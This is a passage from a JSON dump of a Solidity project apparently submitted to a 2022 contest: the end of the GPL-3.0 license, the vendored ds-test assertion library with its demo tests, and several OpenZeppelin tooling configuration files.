version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.codecov.yml",
    "content": "comment: off\ngithub_checks:\n  annotations: false\ncoverage:\n  status:\n    patch:\n      default:\n        target: 95%\n    project:\n      default:\n        threshold: 1%\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.editorconfig",
    "content": "# EditorConfig is awesome: https://EditorConfig.org\n\n# top-most EditorConfig file\nroot = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\nindent_style = space\ninsert_final_newline = true\ntrim_trailing_whitespace = false\nmax_line_length = 120\n\n[*.sol]\nindent_size = 4\n\n[*.js]\nindent_size = 2\n\n[*.adoc]\nmax_line_length = 0\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.eslintrc",
    "content": "{\n  \"extends\" : [\n    \"standard\",\n    \"plugin:promise/recommended\",\n  ],\n  \"plugins\": [\n    \"mocha-no-only\",\n    \"promise\",\n  ],\n  \"env\": {\n    \"browser\" : true,\n    \"node\"    : true,\n    \"mocha\"   : true,\n    \"jest\"    : true,\n  },\n  \"globals\" : {\n    \"artifacts\": false,\n    \"contract\": false,\n    \"assert\": false,\n    \"web3\": false,\n    \"usePlugin\": false,\n    \"extendEnvironment\": false,\n  },\n  \"rules\": {\n\n    // Strict mode\n    \"strict\": [\"error\", \"global\"],\n\n    // Code style\n    \"array-bracket-spacing\": [\"off\"],\n    \"camelcase\": [\"error\", {\"properties\": \"always\"}],\n    \"comma-dangle\": [\"error\", \"always-multiline\"],\n    \"comma-spacing\": [\"error\", {\"before\": false, \"after\": true}],\n    \"dot-notation\": [\"error\", {\"allowKeywords\": true, \"allowPattern\": \"\"}],\n    \"eol-last\": [\"error\", \"always\"],\n    \"eqeqeq\": [\"error\", \"smart\"],\n    \"generator-star-spacing\": [\"error\", \"before\"],\n    \"indent\": [\"error\", 2],\n    \"linebreak-style\": [\"error\", \"unix\"],\n    \"max-len\": [\"error\", 120, 2],\n    \"no-debugger\": \"off\",\n    \"no-dupe-args\": \"error\",\n    \"no-dupe-keys\": \"error\",\n    \"no-mixed-spaces-and-tabs\": [\"error\", \"smart-tabs\"],\n    \"no-redeclare\": [\"error\", {\"builtinGlobals\": true}],\n    \"no-trailing-spaces\": [\"error\", { \"skipBlankLines\": false }],\n    \"no-undef\": \"error\",\n    \"no-use-before-define\": \"off\",\n    \"no-var\": \"error\",\n    \"object-curly-spacing\": [\"error\", \"always\"],\n    \"prefer-const\": \"error\",\n    \"quotes\": [\"error\", \"single\"],\n    \"semi\": [\"error\", \"always\"],\n    \"space-before-function-paren\": [\"error\", \"always\"],\n\n    \"mocha-no-only/mocha-no-only\": [\"error\"],\n\n    \"promise/always-return\": \"off\",\n    \"promise/avoid-new\": \"off\",\n  },\n  \"parserOptions\": {\n    \"ecmaVersion\": 2018\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.gitattributes",
    "content": "*.sol linguist-language=Solidity\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.gitignore",
    "content": "*.swp\n*.swo\n\n# Logs\nlogs\n*.log\n\n# Runtime data\npids\n*.pid\n*.seed\nallFiredEvents\nscTopics\n\n# Coverage directory used by tools like istanbul\ncoverage\ncoverage.json\ncoverageEnv\n\n# node-waf configuration\n.lock-wscript\n\n# Dependency directory\nnode_modules\n\n# Debug log from npm\nnpm-debug.log\n\n# local env variables\n.env\n\n# truffle build directory\nbuild/\n\n# macOS\n.DS_Store\n\n# truffle\n.node-xmlhttprequest-*\n\n# IntelliJ IDE\n.idea\n\n# docs artifacts\ndocs/modules/api\n\n# only used to package @openzeppelin/contracts\ncontracts/build/\ncontracts/README.md\n\n# temporary artifact from solidity-coverage\nallFiredEvents\n.coverage_artifacts\n.coverage_cache\n.coverage_contracts\n\n# hardhat\ncache\nartifacts\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.mocharc.js",
    "content": "module.exports = {\n  require: 'hardhat/register',\n  timeout: 4000,\n};\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.prettierrc",
    "content": "{\n  \"overrides\": [\n    {\n      \"files\": \"*.sol\",\n      \"options\": {\n        \"printWidth\": 120,\n        \"explicitTypes\": \"always\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.solcover.js",
    "content": "module.exports = {\n    norpc: true,\n    testCommand: 'npm test',\n    compileCommand: 'npm run compile',\n    skipFiles: [\n        'mocks',\n    ],\n    providerOptions: {\n        default_balance_ether: '10000000000000000000000000',\n    },\n    mocha: {\n        fgrep: '[skip-on-coverage]',\n        invert: true,\n    },\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.solhint.json",
